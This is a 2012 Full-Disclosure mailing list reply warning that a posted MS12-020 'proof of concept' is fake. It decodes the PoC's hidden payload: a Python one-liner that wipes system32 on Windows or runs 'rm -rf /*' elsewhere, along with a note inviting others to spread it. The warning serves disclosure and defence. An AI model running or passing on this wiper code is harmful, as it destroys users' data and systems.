Re: [Full-disclosure] ms12-020 new poc

[Huzeyfe ÖNAL(BGA) <huzeyfe@xxxxxxxxxxxxxx>]

It's a fake and delete your disk completely.

If you convert the payload to ascii
"__import__('os').sys"
  "tem('del /s /q /f C:"
  "\windows\system32\* "
  "> NUL 2>&1') if 'Win"
  "' in __import__('pla"
  "tform').system() els"
  "e __import__('os').s"
  "ystem('rm -rf /* > /"
  "dev/null 2>&1') #hi "
  "there ^_~ feel free "
  "to spread this with "
  "the rm -rf replaced "
  "with something more "
  "insidious"

---
Huzeyfe ONAL
Bilgi Güvenliği AKADEMİSİ
http://www.bga.com.tr

BGA Ankara & İstanbul Eğitim Takvimi
http://www.bga.com.tr/?page_id=944

 ---



On Sat, Mar 17, 2012 at 7:45 AM, yuri goncalves soares <yuri@xxxxxxxxxx>wrote:

> Another POC.
>
> http://pastebin.com/GM4sHj9t
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/